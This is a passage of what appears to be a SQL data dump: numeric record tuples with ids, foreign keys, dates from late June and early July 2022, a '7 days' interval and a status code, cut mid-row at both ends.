days',0),(68885,9049,12815,13050,359,251,'2022-06-28','7 days',0),(68886,9048,12815,13050,359,251,'2022-06-28','7 days',0),(68887,9047,12815,13050,359,251,'2022-06-28','7 days',0),(68888,9046,12815,13050,359,251,'2022-06-28','7 days',0),(68889,9045,12815,13050,359,251,'2022-06-28','7 days',0),(68890,9044,12815,13050,359,251,'2022-06-28','7 days',0),(68891,9043,12815,13050,359,251,'2022-06-28','7 days',0),(68892,9042,12815,13050,359,251,'2022-06-28','7 days',0),(68893,9041,12815,13050,359,251,'2022-06-28','7 days',0),(68894,9040,12815,13050,359,251,'2022-06-28','7 days',2),(68895,9039,12815,13050,359,251,'2022-06-28','7 days',0),(68896,9038,12815,13050,359,251,'2022-06-28','7 days',0),(68897,9037,12815,13050,359,251,'2022-06-28','7 days',0),(68898,9036,12815,13050,359,251,'2022-06-28','7 days',0),(68899,9035,12815,13050,359,251,'2022-06-28','7 days',0),(68900,9921,12814,13049,359,251,'2022-06-28','7 days',0),(68901,9920,12814,13049,359,251,'2022-06-28','7 days',0),(68902,9919,12814,13049,359,251,'2022-06-28','7 days',0),(68903,9918,12814,13049,359,251,'2022-06-28','7 days',0),(68904,9917,12814,13049,359,251,'2022-06-28','7 days',0),(68905,9916,12814,13049,359,251,'2022-06-28','7 days',0),(68906,9915,12814,13049,359,251,'2022-06-28','7 days',0),(68907,9914,12814,13049,359,251,'2022-06-28','7 days',0),(68908,9913,12814,13049,359,251,'2022-06-28','7 days',2),(68909,9912,12814,13049,359,251,'2022-06-28','7 days',2),(68910,16861,12662,12927,1674,251,'2022-06-28','7 days',1),(68911,16780,12662,12927,1674,251,'2022-06-28','7 days',0),(68912,16779,12662,12927,1674,251,'2022-06-28','7 days',0),(68913,16777,12662,12927,1674,251,'2022-06-28','7 days',0),(68914,16776,12662,12927,1674,251,'2022-06-28','7 days',0),(68915,16775,12662,12927,1674,251,'2022-06-28','7 days',0),(68916,16774,12662,12927,1674,251,'2022-06-28','7 days',0),(68917,16773,12662,12927,1674,251,'2022-06-28','7 days',0),(68918,16772,12662,12927,1674,251,'2022-06-28','7 days',0),(68919,16771,12662,12927,1674,251,'2022-06-28','7 days',0),(68920,16770,12662,12927,1674,251,'2022-06-28','7 days',0),(68921,16769,12662,12927,1674,251,'2022-06-28','7 days',0),(68922,16768,12662,12927,1674,251,'2022-06-28','7 days',0),(68923,16716,12662,12927,1674,251,'2022-06-28','7 days',0),(68924,16715,12662,12927,1674,251,'2022-06-28','7 days',0),(68925,16714,12662,12927,1674,251,'2022-06-28','7 days',0),(68926,16701,12662,12927,1674,251,'2022-06-28','7 days',2),(68927,16700,12662,12927,1674,251,'2022-06-28','7 days',0),(68928,16699,12662,12927,1674,251,'2022-06-28','7 days',0),(68929,16698,12662,12927,1674,251,'2022-06-28','7 days',0),(68930,16697,12662,12927,1674,251,'2022-06-28','7 days',0),(68931,16696,12662,12927,1674,251,'2022-06-28','7 days',0),(68932,16695,12662,12927,1674,251,'2022-06-28','7 days',0),(68933,9921,12316,12587,359,251,'2022-06-28','7 days',0),(68934,9920,12316,12587,359,251,'2022-06-28','7 days',0),(68935,9919,12316,12587,359,251,'2022-06-28','7 days',0),(68936,9918,12316,12587,359,251,'2022-06-28','7 days',0),(68937,9917,12316,12587,359,251,'2022-06-28','7 days',0),(68938,9916,12316,12587,359,251,'2022-06-28','7 days',0),(68939,9915,12316,12587,359,251,'2022-06-28','7 days',0),(68940,9914,12316,12587,359,251,'2022-06-28','7 days',0),(68941,9913,12316,12587,359,251,'2022-06-28','7 days',2),(68942,9912,12316,12587,359,251,'2022-06-28','7 days',2),(68943,5409,12190,12454,1674,251,'2022-06-28','7 days',0),(68944,5408,12190,12454,1674,251,'2022-06-28','7 days',0),(68945,5407,12190,12454,1674,251,'2022-06-28','7 days',0),(68946,5406,12190,12454,1674,251,'2022-06-28','7 days',0),(68947,5405,12190,12454,1674,251,'2022-06-28','7 days',0),(68948,5404,12190,12454,1674,251,'2022-06-28','7 days',0),(68949,4275,12190,12454,1674,251,'2022-06-28','7 days',0),(68950,4274,12190,12454,1674,251,'2022-06-28','7 days',0),(68951,4273,12190,12454,1674,251,'2022-06-28','7 days',0),(68952,4272,12190,12454,1674,251,'2022-06-28','7 days',0),(68953,4271,12190,12454,1674,251,'2022-06-28','7 days',0),(68954,4270,12190,12454,1674,251,'2022-06-28','7 days',0),(68955,4269,12190,12454,1674,251,'2022-06-28','7 days',0),(68956,3262,12190,12454,1674,251,'2022-06-28','7 days',0),(68957,3261,12190,12454,1674,251,'2022-06-28','7 days',0),(68958,3260,12190,12454,1674,251,'2022-06-28','7 days',0),(68959,3259,12190,12454,1674,251,'2022-06-28','7 days',0),(68960,3258,12190,12454,1674,251,'2022-06-28','7 days',0),(68961,3257,12190,12454,1674,251,'2022-06-28','7 days',2),(68962,3256,12190,12454,1674,251,'2022-06-28','7 days',0),(68963,3255,12190,12454,1674,251,'2022-06-28','7 days',0),(68964,9111,12662,12927,1674,251,'2022-06-28','7 days',1),(68965,9110,12662,12927,1674,251,'2022-06-28','7 days',0),(68966,9109,12662,12927,1674,251,'2022-06-28','7 days',0),(68967,9108,12662,12927,1674,251,'2022-06-28','7 days',0),(68968,9107,12662,12927,1674,251,'2022-06-28','7 days',0),(68969,16861,12242,12511,358,251,'2022-06-28','7 days',1),(68970,16780,12242,12511,358,251,'2022-06-28','7 days',0),(68971,16779,12242,12511,358,251,'2022-06-28','7 days',0),(68972,16777,12242,12511,358,251,'2022-06-28','7 days',0),(68973,16776,12242,12511,358,251,'2022-06-28','7 days',0),(68974,16775,12242,12511,358,251,'2022-06-28','7 days',0),(68975,16774,12242,12511,358,251,'2022-06-28','7 days',0),(68976,16773,12242,12511,358,251,'2022-06-28','7 days',0),(68977,16772,12242,12511,358,251,'2022-06-28','7 days',0),(68978,16771,12242,12511,358,251,'2022-06-28','7 days',0),(68979,16770,12242,12511,358,251,'2022-06-28','7 days',0),(68980,16769,12242,12511,358,251,'2022-06-28','7 days',0),(68981,16768,12242,12511,358,251,'2022-06-28','7 days',0),(68982,16716,12242,12511,358,251,'2022-06-28','7 days',0),(68983,16715,12242,12511,358,251,'2022-06-28','7 days',0),(68984,16714,12242,12511,358,251,'2022-06-28','7 days',0),(68985,16701,12242,12511,358,251,'2022-06-28','7 days',0),(68986,16700,12242,12511,358,251,'2022-06-28','7 days',0),(68987,16699,12242,12511,358,251,'2022-06-28','7 days',0),(68988,16698,12242,12511,358,251,'2022-06-28','7 days',0),(68989,16697,12242,12511,358,251,'2022-06-28','7 days',0),(68990,16696,12242,12511,358,251,'2022-06-28','7 days',0),(68991,16695,12242,12511,358,251,'2022-06-28','7 days',0),(68992,9111,12242,12511,358,251,'2022-06-28','7 days',1),(68993,9110,12242,12511,358,251,'2022-06-28','7 days',0),(68994,9109,12242,12511,358,251,'2022-06-28','7 days',0),(68995,9108,12242,12511,358,251,'2022-06-28','7 days',0),(68996,9107,12242,12511,358,251,'2022-06-28','7 days',0),(68997,5409,11846,9677,1674,251,'2022-06-28','7 days',0),(68998,5408,11846,9677,1674,251,'2022-06-28','7 days',0),(68999,5407,11846,9677,1674,251,'2022-06-28','7 days',0),(69000,5406,11846,9677,1674,251,'2022-06-28','7 days',0),(69001,5405,11846,9677,1674,251,'2022-06-28','7 days',0),(69002,5404,11846,9677,1674,251,'2022-06-28','7 days',0),(69003,4275,11846,9677,1674,251,'2022-06-28','7 days',0),(69004,4274,11846,9677,1674,251,'2022-06-28','7 days',0),(69005,4273,11846,9677,1674,251,'2022-06-28','7 days',0),(69006,4272,11846,9677,1674,251,'2022-06-28','7 days',0),(69007,4271,11846,9677,1674,251,'2022-06-28','7 days',0),(69008,4270,11846,9677,1674,251,'2022-06-28','7 days',0),(69009,4269,11846,9677,1674,251,'2022-06-28','7 days',0),(69010,3262,11846,9677,1674,251,'2022-06-28','7 days',0),(69011,3261,11846,9677,1674,251,'2022-06-28','7 days',0),(69012,3260,11846,9677,1674,251,'2022-06-28','7 days',0),(69013,3259,11846,9677,1674,251,'2022-06-28','7 days',0),(69014,3258,11846,9677,1674,251,'2022-06-28','7 days',0),(69015,3257,11846,9677,1674,251,'2022-06-28','7 days',0),(69016,3256,11846,9677,1674,251,'2022-06-28','7 days',0),(69017,3255,11846,9677,1674,251,'2022-06-28','7 days',0),(69018,9111,11846,9677,1674,251,'2022-06-28','7 days',1),(69019,9110,11846,9677,1674,251,'2022-06-28','7 days',0),(69020,9109,11846,9677,1674,251,'2022-06-28','7 days',0),(69021,9108,11846,9677,1674,251,'2022-06-28','7 days',0),(69022,9107,11846,9677,1674,251,'2022-06-28','7 days',0),(69023,9117,11323,10931,1674,251,'2022-06-28','7 days',0),(69024,9116,11323,10931,1674,251,'2022-06-28','7 days',0),(69025,9115,11323,10931,1674,251,'2022-06-28','7 days',0),(69026,9114,11323,10931,1674,251,'2022-06-28','7 days',0),(69027,9113,11323,10931,1674,251,'2022-06-28','7 days',0),(69028,9112,11323,10931,1674,251,'2022-06-28','7 days',0),(69029,9054,11323,10931,1674,251,'2022-06-28','7 days',0),(69030,9053,11323,10931,1674,251,'2022-06-28','7 days',0),(69031,9052,11323,10931,1674,251,'2022-06-28','7 days',0),(69032,9051,11323,10931,1674,251,'2022-06-28','7 days',0),(69033,9050,11323,10931,1674,251,'2022-06-28','7 days',0),(69034,9049,11323,10931,1674,251,'2022-06-28','7 days',0),(69035,9048,11323,10931,1674,251,'2022-06-28','7 days',0),(69036,9047,11323,10931,1674,251,'2022-06-28','7 days',0),(69037,9046,11323,10931,1674,251,'2022-06-28','7 days',0),(69038,9045,11323,10931,1674,251,'2022-06-28','7 days',0),(69039,9044,11323,10931,1674,251,'2022-06-28','7 days',0),(69040,9043,11323,10931,1674,251,'2022-06-28','7 days',0),(69041,9042,11323,10931,1674,251,'2022-06-28','7 days',0),(69042,9041,11323,10931,1674,251,'2022-06-28','7 days',0),(69043,9040,11323,10931,1674,251,'2022-06-28','7 days',0),(69044,9039,11323,10931,1674,251,'2022-06-28','7 days',0),(69045,9038,11323,10931,1674,251,'2022-06-28','7 days',0),(69046,9037,11323,10931,1674,251,'2022-06-28','7 days',0),(69047,9036,11323,10931,1674,251,'2022-06-28','7 days',0),(69048,9035,11323,10931,1674,251,'2022-06-28','7 days',0),(69049,16861,11294,11758,1674,251,'2022-06-28','7 days',1),(69050,16780,11294,11758,1674,251,'2022-06-28','7 days',0),(69051,16779,11294,11758,1674,251,'2022-06-28','7 days',0),(69052,16777,11294,11758,1674,251,'2022-06-28','7 days',0),(69053,16776,11294,11758,1674,251,'2022-06-28','7 days',0),(69054,16775,11294,11758,1674,251,'2022-06-28','7 days',0),(69055,16774,11294,11758,1674,251,'2022-06-28','7 days',0),(69056,16773,11294,11758,1674,251,'2022-06-28','7 days',0),(69057,16772,11294,11758,1674,251,'2022-06-28','7 days',0),(69058,16771,11294,11758,1674,251,'2022-06-28','7 days',0),(69059,16770,11294,11758,1674,251,'2022-06-28','7 days',0),(69060,16769,11294,11758,1674,251,'2022-06-28','7 days',0),(69061,16768,11294,11758,1674,251,'2022-06-28','7 days',0),(69062,16716,11294,11758,1674,251,'2022-06-28','7 days',0),(69063,16715,11294,11758,1674,251,'2022-06-28','7 days',0),(69064,16714,11294,11758,1674,251,'2022-06-28','7 days',0),(69065,16701,11294,11758,1674,251,'2022-06-28','7 days',0),(69066,16700,11294,11758,1674,251,'2022-06-28','7 days',0),(69067,16699,11294,11758,1674,251,'2022-06-28','7 days',0),(69068,16698,11294,11758,1674,251,'2022-06-28','7 days',0),(69069,16697,11294,11758,1674,251,'2022-06-28','7 days',0),(69070,16696,11294,11758,1674,251,'2022-06-28','7 days',0),(69071,16695,11294,11758,1674,251,'2022-06-28','7 days',0),(69072,4512,11620,12012,1708,639,'2022-06-28','7 days',1),(69073,4494,11620,12012,1708,639,'2022-06-28','7 days',1),(69074,4487,11620,12012,1708,639,'2022-06-28','7 days',0),(69075,4483,11620,12012,1708,639,'2022-06-28','7 days',0),(69076,4477,11620,12012,1708,639,'2022-06-28','7 days',0),(69077,4473,11620,12012,1708,639,'2022-06-28','7 days',0),(69078,4510,11620,12012,1708,639,'2022-06-28','7 days',0),(69079,4506,11620,12012,1708,639,'2022-06-28','7 days',2),(69080,4452,11598,11992,633,639,'2022-06-28','7 days',0),(69081,10779,11598,11992,633,639,'2022-06-28','7 days',0),(69082,17489,11440,11862,1708,639,'2022-06-28','7 days',1),(69083,17451,11440,11862,1708,639,'2022-06-28','7 days',0),(69084,4516,11440,11862,1708,639,'2022-06-28','7 days',0),(69085,4514,11440,11862,1708,639,'2022-06-28','7 days',0),(69086,4499,11440,11862,1708,639,'2022-06-28','7 days',2),(69087,4467,11440,11862,1708,639,'2022-06-28','7 days',0),(69088,4460,11440,11862,1708,639,'2022-06-28','7 days',2),(69089,4452,11280,11748,1708,639,'2022-06-28','7 days',0),(69090,8796,11101,11607,1708,639,'2022-06-28','7 days',0),(69091,4502,11101,11607,1708,639,'2022-06-28','7 days',0),(69092,4452,10975,11512,634,639,'2022-06-28','7 days',0),(69093,4510,10975,11512,634,639,'2022-06-28','7 days',0),(69094,4506,10975,11512,634,639,'2022-06-28','7 days',0),(69095,7308,12403,12672,1781,91,'2022-06-29','7 days',2),(69096,7307,12403,12672,1781,91,'2022-06-29','7 days',0),(69097,7306,12403,12672,1781,91,'2022-06-29','7 days',2),(69098,7305,12403,12672,1781,91,'2022-06-29','7 days',0),(69099,7304,12403,12672,1781,91,'2022-06-29','7 days',0),(69100,7303,12403,12672,1781,91,'2022-06-29','7 days',0),(69101,7147,12403,12672,1781,91,'2022-06-29','7 days',0),(69102,7146,12403,12672,1781,91,'2022-06-29','7 days',2),(69103,7145,12403,12672,1781,91,'2022-06-29','7 days',0),(69104,7143,12403,12672,1781,91,'2022-06-29','7 days',2),(69105,7142,12403,12672,1781,91,'2022-06-29','7 days',0),(69106,7140,12403,12672,1781,91,'2022-06-29','7 days',0),(69107,7138,12403,12672,1781,91,'2022-06-29','7 days',0),(69108,7137,12403,12672,1781,91,'2022-06-29','7 days',0),(69109,9159,12386,12654,1781,91,'2022-06-29','7 days',1),(69110,9155,12386,12654,1781,91,'2022-06-29','7 days',1),(69111,7213,12386,12654,1781,91,'2022-06-29','7 days',1),(69112,7212,12386,12654,1781,91,'2022-06-29','7 days',1),(69113,9154,12287,12558,1781,91,'2022-06-29','7 days',1),(69114,9135,12287,12558,1781,91,'2022-06-29','7 days',1),(69115,9134,12287,12558,1781,91,'2022-06-29','7 days',1),(69116,9133,12287,12558,1781,91,'2022-06-29','7 days',1),(69117,7287,12287,12558,1781,91,'2022-06-29','7 days',1),(69118,7286,12287,12558,1781,91,'2022-06-29','7 days',1),(69119,18424,12819,13056,1779,975,'2022-06-30','7 days',0),(69120,18423,12819,13056,1779,975,'2022-06-30','7 days',0),(69121,18422,12819,13056,1779,975,'2022-06-30','7 days',0),(69122,17403,12818,13055,1410,975,'2022-06-30','7 days',0),(69123,17391,12818,13055,1410,975,'2022-06-30','7 days',0),(69124,17390,12818,13055,1410,975,'2022-06-30','7 days',0),(69125,17389,12818,13055,1410,975,'2022-06-30','7 days',0),(69126,17388,12818,13055,1410,975,'2022-06-30','7 days',0),(69127,18425,12781,13022,1779,975,'2022-06-30','7 days',1),(69128,18424,12781,13022,1779,975,'2022-06-30','7 days',0),(69129,18423,12781,13022,1779,975,'2022-06-30','7 days',0),(69130,18422,12781,13022,1779,975,'2022-06-30','7 days',0),(69131,16861,11846,9677,1674,251,'2022-06-30','7 days',0),(69132,16780,11846,9677,1674,251,'2022-06-30','7 days',0),(69133,16779,11846,9677,1674,251,'2022-06-30','7 days',0),(69134,16777,11846,9677,1674,251,'2022-06-30','7 days',0),(69135,16776,11846,9677,1674,251,'2022-06-30','7 days',0),(69136,16775,11846,9677,1674,251,'2022-06-30','7 days',0),(69137,16774,11846,9677,1674,251,'2022-06-30','7 days',0),(69138,16773,11846,9677,1674,251,'2022-06-30','7 days',0),(69139,16772,11846,9677,1674,251,'2022-06-30','7 days',0),(69140,16771,11846,9677,1674,251,'2022-06-30','7 days',0),(69141,16770,11846,9677,1674,251,'2022-06-30','7 days',0),(69142,16769,11846,9677,1674,251,'2022-06-30','7 days',0),(69143,16768,11846,9677,1674,251,'2022-06-30','7 days',0),(69144,16716,11846,9677,1674,251,'2022-06-30','7 days',0),(69145,16715,11846,9677,1674,251,'2022-06-30','7 days',0),(69146,16714,11846,9677,1674,251,'2022-06-30','7 days',0),(69147,16701,11846,9677,1674,251,'2022-06-30','7 days',0),(69148,16700,11846,9677,1674,251,'2022-06-30','7 days',0),(69149,16699,11846,9677,1674,251,'2022-06-30','7 days',0),(69150,16698,11846,9677,1674,251,'2022-06-30','7 days',0),(69151,16697,11846,9677,1674,251,'2022-06-30','7 days',0),(69152,16696,11846,9677,1674,251,'2022-06-30','7 days',0),(69153,16695,11846,9677,1674,251,'2022-06-30','7 days',0),(69154,9921,12815,13050,359,251,'2022-06-30','7 days',0),(69155,9920,12815,13050,359,251,'2022-06-30','7 days',0),(69156,9919,12815,13050,359,251,'2022-06-30','7 days',0),(69157,9918,12815,13050,359,251,'2022-06-30','7 days',0),(69158,9917,12815,13050,359,251,'2022-06-30','7 days',0),(69159,9916,12815,13050,359,251,'2022-06-30','7 days',0),(69160,9915,12815,13050,359,251,'2022-06-30','7 days',0),(69161,9914,12815,13050,359,251,'2022-06-30','7 days',0),(69162,9913,12815,13050,359,251,'2022-06-30','7 days',0),(69163,9912,12815,13050,359,251,'2022-06-30','7 days',0),(69164,16861,12814,13049,359,251,'2022-06-30','7 days',0),(69165,16780,12814,13049,359,251,'2022-06-30','7 days',0),(69166,16779,12814,13049,359,251,'2022-06-30','7 days',0),(69167,16777,12814,13049,359,251,'2022-06-30','7 days',0),(69168,16776,12814,13049,359,251,'2022-06-30','7 days',0),(69169,16775,12814,13049,359,251,'2022-06-30','7 days',0),(69170,16774,12814,13049,359,251,'2022-06-30','7 days',0),(69171,16773,12814,13049,359,251,'2022-06-30','7 days',0),(69172,16772,12814,13049,359,251,'2022-06-30','7 days',0),(69173,16771,12814,13049,359,251,'2022-06-30','7 days',0),(69174,16770,12814,13049,359,251,'2022-06-30','7 days',0),(69175,16769,12814,13049,359,251,'2022-06-30','7 days',0),(69176,16768,12814,13049,359,251,'2022-06-30','7 days',0),(69177,16716,12814,13049,359,251,'2022-06-30','7 days',0),(69178,16715,12814,13049,359,251,'2022-06-30','7 days',0),(69179,16714,12814,13049,359,251,'2022-06-30','7 days',0),(69180,16701,12814,13049,359,251,'2022-06-30','7 days',0),(69181,16700,12814,13049,359,251,'2022-06-30','7 days',0),(69182,16699,12814,13049,359,251,'2022-06-30','7 days',0),(69183,16698,12814,13049,359,251,'2022-06-30','7 days',0),(69184,16697,12814,13049,359,251,'2022-06-30','7 days',0),(69185,14051,12562,12829,1068,326,'2022-06-30','7 days',0),(69186,12897,12562,12829,1068,326,'2022-06-30','7 days',0),(69187,12875,12562,12829,1068,326,'2022-06-30','7 days',1),(69188,9805,12562,12829,1068,326,'2022-06-30','7 days',0),(69189,9803,12562,12829,1068,326,'2022-06-30','7 days',0),(69190,9802,12562,12829,1068,326,'2022-06-30','7 days',0),(69191,9801,12562,12829,1068,326,'2022-06-30','7 days',1),(69192,9800,12562,12829,1068,326,'2022-06-30','7 days',0),(69193,9798,12562,12829,1068,326,'2022-06-30','7 days',0),(69194,17546,12562,12829,1068,326,'2022-06-30','7 days',1),(69195,9797,12562,12829,1068,326,'2022-06-30','7 days',1),(69196,9796,12562,12829,1068,326,'2022-06-30','7 days',0),(69197,9795,12562,12829,1068,326,'2022-06-30','7 days',0),(69198,9720,12562,12829,1068,326,'2022-06-30','7 days',0),(69199,9719,12562,12829,1068,326,'2022-06-30','7 days',0),(69200,7421,12562,12829,1068,326,'2022-06-30','7 days',0),(69201,7420,12562,12829,1068,326,'2022-06-30','7 days',0),(69202,7419,12562,12829,1068,326,'2022-06-30','7 days',0),(69203,7418,12562,12829,1068,326,'2022-06-30','7 days',0),(69204,7417,12562,12829,1068,326,'2022-06-30','7 days',0),(69205,7416,12562,12829,1068,326,'2022-06-30','7 days',1),(69206,7415,12562,12829,1068,326,'2022-06-30','7 days',0),(69207,20378,12826,13061,1750,996,'2022-07-01','7 days',0),(69208,20205,12826,13061,1750,996,'2022-07-01','7 days',0),(69209,20201,12826,13061,1750,996,'2022-07-01','7 days',1),(69210,20199,12826,13061,1750,996,'2022-07-01','7 days',0),(69211,20195,12826,13061,1750,996,'2022-07-01','7 days',0),(69212,20194,12826,13061,1750,996,'2022-07-01','7 days',0),(69213,20193,12826,13061,1750,996,'2022-07-01','7 days',0),(69214,20192,12826,13061,1750,996,'2022-07-01','7 days',0),(69215,20191,12826,13061,1750,996,'2022-07-01','7 days',0),(69216,20213,12826,13061,1750,996,'2022-07-01','7 days',0),(69217,20212,12826,13061,1750,996,'2022-07-01','7 days',0),(69218,20211,12826,13061,1750,996,'2022-07-01','7 days',2),(69219,20210,12826,13061,1750,996,'2022-07-01','7 days',1),(69220,20209,12826,13061,1750,996,'2022-07-01','7 days',0),(69221,20207,12826,13061,1750,996,'2022-07-01','7 days',0),(69222,20206,12826,13061,1750,996,'2022-07-01','7 days',2),(69223,21398,10872,11433,1750,996,'2022-07-01','7 days',0),(69224,20378,12503,11830,1750,996,'2022-07-01','7 days',0),(69225,20205,12503,11830,1750,996,'2022-07-01','7 days',0),(69226,20201,12503,11830,1750,996,'2022-07-01','7 days',1),(69227,20199,12503,11830,1750,996,'2022-07-01','7 days',0),(69228,20195,12503,11830,1750,996,'2022-07-01','7 days',0),(69229,20194,12503,11830,1750,996,'2022-07-01','7 days',0),(69230,20193,12503,11830,1750,996,'2022-07-01','7 days',0),(69231,20192,12503,11830,1750,996,'2022-07-01','7 days',0),(69232,20191,12503,11830,1750,996,'2022-07-01','7 days',0),(69233,20145,12502,11829,1749,996,'2022-07-01','7 days',2),(69234,20213,12502,11829,1749,996,'2022-07-01','7 days',0),(69235,20212,12502,11829,1749,996,'2022-07-01','7 days',0),(69236,20211,12502,11829,1749,996,'2022-07-01','7 days',0),(69237,20210,12502,11829,1749,996,'2022-07-01','7 days',2),(69238,20209,12502,11829,1749,996,'2022-07-01','7 days',0),(69239,20207,12502,11829,1749,996,'2022-07-01','7 days',0),(69240,20206,12502,11829,1749,996,'2022-07-01','7 days',2),(69241,21398,12501,11828,1749,996,'2022-07-01','7 days',0),(69242,20378,12501,11828,1749,996,'2022-07-01','7 days',0),(69243,20201,12501,11828,1749,996,'2022-07-01','7 days',1),(69244,20195,12501,11828,1749,996,'2022-07-01','7 days',0),(69245,20194,12501,11828,1749,996,'2022-07-01','7 days',0),(69246,20193,12501,11828,1749,996,'2022-07-01','7 days',0),(69247,20191,12501,11828,1749,996,'2022-07-01','7 days',0),(69248,20213,12500,11831,1750,996,'2022-07-01','7 days',0),(69249,20212,12500,11831,1750,996,'2022-07-01','7 days',0),(69250,20211,12500,11831,1750,996,'2022-07-01','7 days',2),(69251,20210,12500,11831,1750,996,'2022-07-01','7 days',1),(69252,20209,12500,11831,1750,996,'2022-07-01','7 days',0),(69253,20207,12500,11831,1750,996,'2022-07-01','7 days',0),(69254,20206,12500,11831,1750,996,'2022-07-01','7 days',2),(69255,20378,12499,11827,1749,996,'2022-07-01','7 days',0),(69256,20205,12499,11827,1749,996,'2022-07-01','7 days',0),(69257,20201,12499,11827,1749,996,'2022-07-01','7 days',1),(69258,20199,12499,11827,1749,996,'2022-07-01','7 days',0),(69259,20195,12499,11827,1749,996,'2022-07-01','7 days',0),(69260,20194,12499,11827,1749,996,'2022-07-01','7 days',0),(69261,20193,12499,11827,1749,996,'2022-07-01','7 days',0),(69262,20192,12499,11827,1749,996,'2022-07-01','7 days',0),(69263,20191,12499,11827,1749,996,'2022-07-01','7 days',0),(69264,21398,12502,11829,1749,996,'2022-07-02','7 days',0),(69265,17214,11959,12263,1324,959,'2022-07-02','7 days',0),(69266,10251,11959,12263,1324,959,'2022-07-02','7 days',0),(69267,10212,11959,12263,1324,959,'2022-07-02','7 days',0),(69268,10211,11959,12263,1324,959,'2022-07-02','7 days',0),(69269,17489,11620,12012,1708,639,'2022-07-02','7 days',1),(69270,17451,11620,12012,1708,639,'2022-07-02','7 days',0),(69271,4516,11620,12012,1708,639,'2022-07-02','7 days',0),(69272,4514,11620,12012,1708,639,'2022-07-02','7 days',0),(69273,4499,11620,12012,1708,639,'2022-07-02','7 days',0),(69274,4467,11620,12012,1708,639,'2022-07-02','7 days',1),(69275,4460,11620,12012,1708,639,'2022-07-02','7 days',0),(69276,18838,12819,13056,1779,975,'2022-07-02','7 days',1),(69277,18427,12819,13056,1779,975,'2022-07-02','7 days',1),(69278,18426,12819,13056,1779,975,'2022-07-02','7 days',0),(69279,18425,12819,13056,1779,975,'2022-07-02','7 days',1),(69280,21407,12499,11827,1749,996,'2022-07-02','7 days',0),(69281,21406,12499,11827,1749,996,'2022-07-02','7 days',0),(69282,21399,12501,11828,1749,996,'2022-07-02','7 days',2),(69283,20205,12501,11828,1749,996,'2022-07-02','7 days',0),(69284,20199,12501,11828,1749,996,'2022-07-02','7 days',0),(69285,20192,12501,11828,1749,996,'2022-07-02','7 days',0),(69286,17489,11598,11992,633,639,'2022-07-04','7 days',1),(69287,17451,11598,11992,633,639,'2022-07-04','7 days',0),(69288,4516,11598,11992,633,639,'2022-07-04','7 days',0),(69289,4514,11598,11992,633,639,'2022-07-04','7 days',0),(69290,4499,11598,11992,633,639,'2022-07-04','7 days',2),(69291,4467,11598,11992,633,639,'2022-07-04','7 days',0),(69292,4460,11598,11992,633,639,'2022-07-04','7 days',0),(69293,9936,12814,13049,359,251,'2022-07-04','7 days',0),(69294,9935,12814,13049,359,251,'2022-07-04','7 days',0),(69295,9934,12814,13049,359,251,'2022-07-04','7 days',0),(69296,9933,12814,13049,359,251,'2022-07-04','7 days',0),(69297,9932,12814,13049,359,251,'2022-07-04','7 days',1),(69298,9034,12814,13049,359,251,'2022-07-04','7 days',0),(69299,9033,12814,13049,359,251,'2022-07-04','7 days',0),(69300,9032,12814,13049,359,251,'2022-07-04','7 days',0),(69301,9031,12814,13049,359,251,'2022-07-04','7 days',0),(69302,9030,12814,13049,359,251,'2022-07-04','7 days',0),(69303,9029,12814,13049,359,251,'2022-07-04','7 days',0),(69304,9028,12814,13049,359,251,'2022-07-04','7 days',0),(69305,9027,12814,13049,359,251,'2022-07-04','7 days',0),(69306,9026,12814,13049,359,251,'2022-07-04','7 days',0),(69307,9025,12814,13049,359,251,'2022-07-04','7 days',0),(69308,9024,12814,13049,359,251,'2022-07-04','7 days',0),(69309,9023,12814,13049,359,251,'2022-07-04','7 days',0),(69310,9022,12814,13049,359,251,'2022-07-04','7 days',0),(69311,9021,12814,13049,359,251,'2022-07-04','7 days',0),(69312,6894,12814,13049,359,251,'2022-07-04','7 days',0),(69313,6893,12814,13049,359,251,'2022-07-04','7 days',0),(69314,6892,12814,13049,359,251,'2022-07-04','7 days',0),(69315,6891,12814,13049,359,251,'2022-07-04','7 days',0),(69316,6890,12814,13049,359,251,'2022-07-04','7 days',0),(69317,6889,12814,13049,359,251,'2022-07-04','7 days',0),(69318,6888,12814,13049,359,251,'2022-07-04','7 days',0),(69319,6887,12814,13049,359,251,'2022-07-04','7 days',0),(69320,4512,11598,11992,633,639,'2022-07-04','7 days',1),(69321,4494,11598,11992,633,639,'2022-07-04','7 days',1),(69322,4487,11598,11992,633,639,'2022-07-04','7 days',0),(69323,4483,11598,11992,633,639,'2022-07-04','7 days',0),(69324,4477,11598,11992,633,639,'2022-07-04','7 days',0),(69325,4473,11598,11992,633,639,'2022-07-04','7 days',2),(69326,21409,12834,13031,190,45,'2022-07-04','7 days',1),(69327,17548,12834,13031,190,45,'2022-07-04','7 days',0),(69328,21416,12835,13031,190,45,'2022-07-04','7 days',1),(69329,21415,12835,13031,190,45,'2022-07-04','7 days',2),(69330,21414,12835,13031,190,45,'2022-07-04','7 days',0),(69331,21413,12835,13031,190,45,'2022-07-04','7 days',0),(69332,21412,12835,13031,190,45,'2022-07-04','7 days',0),(69333,21411,12835,13031,190,45,'2022-07-04','7 days',0),(69334,21410,12835,13031,190,45,'2022-07-04','7 days',0),(69335,21462,12502,11829,1749,996,'2022-07-04','7 days',0),(69336,21461,12502,11829,1749,996,'2022-07-04','7 days',0),(69337,21460,12502,11829,1749,996,'2022-07-04','7 days',0),(69338,21459,12502,11829,1749,996,'2022-07-04','7 days',0),(69339,21458,12502,11829,1749,996,'2022-07-04','7 days',0),(69340,21457,12502,11829,1749,996,'2022-07-04','7 days',0),(69341,21456,12502,11829,1749,996,'2022-07-04','7 days',0),(69342,21455,12502,11829,1749,996,'2022-07-04','7 days',0),(69343,21454,12502,11829,1749,996,'2022-07-04','7 days',0),(69344,21453,12502,11829,1749,996,'2022-07-04','7 days',2),(69345,21452,12502,11829,1749,996,'2022-07-04','7 days',0),(69346,21451,12502,11829,1749,996,'2022-07-04','7 days',2),(69347,21450,12502,11829,1749,996,'2022-07-04','7 days',0),(69348,21449,12502,11829,1749,996,'2022-07-04','7 days',0),(69349,21448,12502,11829,1749,996,'2022-07-04','7 days',0),(69350,21447,12501,11828,1749,996,'2022-07-04','7 days',0),(69351,21446,12501,11828,1749,996,'2022-07-04','7 days',1),(69352,21445,12501,11828,1749,996,'2022-07-04','7 days',0),(69353,21444,12501,11828,1749,996,'2022-07-04','7 days',0),(69354,21443,12501,11828,1749,996,'2022-07-04','7 days',0),(69355,21442,12501,11828,1749,996,'2022-07-04','7 days',0),(69356,21441,12501,11828,1749,996,'2022-07-04','7 days',2),(69357,21440,12501,11828,1749,996,'2022-07-04','7 